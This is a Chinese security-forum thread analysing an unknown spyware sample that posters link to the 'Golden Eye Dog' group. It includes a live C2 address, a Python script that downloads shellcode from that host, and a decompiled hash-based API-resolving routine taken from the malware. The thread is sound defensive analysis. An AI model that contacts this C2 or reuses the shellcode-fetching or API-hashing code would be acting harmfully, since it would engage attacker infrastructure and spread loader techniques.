未知Spyware #FakeAPP 1X

wwwab

kf1123 发表于 2025-10-19 21:49
看起来像是金眼狗团伙使用的木马

@神龟Turmi @驭龙 其中一个函数比对了一下，简直不能说是一模一样



https://www.secrss.com/articles/79443

wwwab

kf1123 发表于 2025-10-19 21:49
看起来像是金眼狗团伙使用的木马

biue

腾讯电脑管家 1X

UNknownOoo

wwwab 发表于 2025-10-19 21:00
@UNknownOoo
Profiler.json GPUCache.xml GPUCache2.xml 这三个Shellcode好像特征点比较明显（尤其是前 ...

这类文件可能不在火绒的文件实时监控范围内...不过加一下也好（）

wwwab

从C2 154.89.156.20:18852拉了一下Shellcode:

1. import socket
   
2. import time
   
3. import sys
   
4. 
   
5. def download_shellcode():
   
6.     host = "154.89.156.20"
   
7.     port = 18852
   
8.     max_retries = 5
   
9.     retry_delay = 3  # seconds
   
10.     buffer_size = 4096
    
11.     total_data = bytearray()
    
12.    
    
13.     # 尝试连接服务器（带重试机制）
    
14.     for _ in range(max_retries):
    
15.         try:
    
16.             with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    
17.                 s.settimeout(15)
    
18.                 s.connect((host, port))
    
19.                
    
20.                 # 动态接收数据
    
21.                 while True:
    
22.                     chunk = s.recv(buffer_size)
    
23.                     if not chunk:
    
24.                         break  # 连接正常关闭
    
25.                     total_data.extend(chunk)
    
26.                
    
27.                 # 成功获取数据后退出重试循环
    
28.                 break
    
29.                
    
30.         except (socket.error, socket.timeout) as e:
    
31.             print(f"连接失败: {str(e)}，{retry_delay}秒后重试...")
    
32.             time.sleep(retry_delay)
    
33.     else:
    
34.         print("错误: 超过最大重试次数，连接失败")
    
35.         sys.exit(1)
    
36.    
    
37.     return bytes(total_data)
    
38. 
    
39. def save_to_file(data, filename):
    
40.     with open(filename, "wb") as f:
    
41.         f.write(data)
    
42.     print(f"已保存 {len(data)} 字节到 {filename}")
    
43. 
    
44. if __name__ == "__main__":
    
45.     # 下载并保存shellcode
    
46.     shellcode = download_shellcode()
    
47.    
    
48.     if shellcode:
    
49.         save_to_file(shellcode, "shellcode.bin")
    
50.         print("分析提示:")
    
51.         print("1. 使用反汇编工具分析: radare2, IDA Pro, Ghidra")
    
52.         print("2. 检查网络特征: 端口 18852/TCP")
    
53.         print("3. 行为分析: VirtualAlloc + 直接执行表明是自包含代码")
    
54.     else:
    
55.         print("未接收到有效数据")

复制代码

1. // positive sp value has been detected, the output may be wrong!
   
2. __int64 __fastcall sub_AE4(int a1, __int64 a2, __int64 a3, char a4)
   
3. {
   
4.   __int64 v4; // rax
   
5.   int v5; // r11d
   
6.   __int64 v6; // r12
   
7.   unsigned __int64 v7; // rdi
   
8.   unsigned int v8; // eax
   
9.   int v9; // esi
   
10.   unsigned int v10; // ebx
    
11.   __int64 v11; // rbp
    
12.   int v12; // esi
    
13.   unsigned __int64 v13; // rax
    
14.   int v14; // ebp
    
15.   __int64 v15; // rdx
    
16.   int v17; // [rsp-10h] [rbp-24h]
    
17.   unsigned int v18; // [rsp-Ch] [rbp-20h]
    
18.   unsigned int v19; // [rsp-8h] [rbp-1Ch]
    
19. 
    
20.   LODWORD(v4) = __readfsdword(0x30u);
    
21.   LOBYTE(v4) = v4 | 0x57;
    
22.   v7 = *(unsigned int *)(v4 + 12);
    
23.   while ( 1 )
    
24.   {
    
25. LABEL_14:
    
26.     v15 = *(unsigned int *)(v7 + 24);
    
27.     if ( !(_DWORD)v15 )
    
28.       return 0i64;
    
29.     v8 = *(_DWORD *)(v7 + 48);
    
30.     v9 = 0;
    
31.     v10 = *(_DWORD *)(v7 + 44);
    
32.     v7 = *(unsigned int *)v7;
    
33.     v18 = v7;
    
34.     v11 = *(unsigned int *)(*(unsigned int *)(v15 + 60) + v15 + 120);
    
35.     v19 = v11;
    
36.     if ( (_DWORD)v11 )
    
37.     {
    
38.       if ( HIWORD(v10) )
    
39.       {
    
40.         do
    
41.         {
    
42.           v12 = __ROR4__(v9, 13);
    
43.           v17 = *(char *)v8;
    
44.           if ( (char)v17 < 97 )
    
45.             v9 = v17 + v12;
    
46.           else
    
47.             v9 = *(char *)v8 - 32 + v12;
    
48.         }
    
49.         while ( v5 );
    
50.         v7 = (unsigned int)v7;
    
51.         v11 = (unsigned int)v11;
    
52.       }
    
53.       v13 = (unsigned int)(v15 + *(_DWORD *)(v15 + v11 + 32));
    
54.       if ( *(_DWORD *)(v15 + v11 + 24) )
    
55.         break;
    
56.     }
    
57.   }
    
58.   while ( 1 )
    
59.   {
    
60.     v14 = 0;
    
61.     do
    
62.       v14 = *(char *)(unsigned int)(v15 + *(_DWORD *)v13) + __ROR4__(v14, 13);
    
63.     while ( a4 );
    
64.     v7 = v18;
    
65.     if ( v9 + v14 == a1 )
    
66.       return (unsigned int)(v15
    
67.                           + *(_DWORD *)(*(_DWORD *)(v19 + v15 + 28)
    
68.                                       + 4 * (unsigned int)*(unsigned __int16 *)(*(unsigned int *)(v19 + v15 + 36) + v15)
    
69.                                       + v15));
    
70.     v13 = (unsigned int)(v13 + 4);
    
71.     if ( !*(_DWORD *)((char *)&loc_10 + 2 * v6) )
    
72.       goto LABEL_14;
    
73.   }
    
74. }

复制代码

似乎是通过哈希值动态解析API导出函数地址的函数。
目前好像也是和GPUCache2.xml差不多，当前尚未在此处投放其他载荷（没下放？）。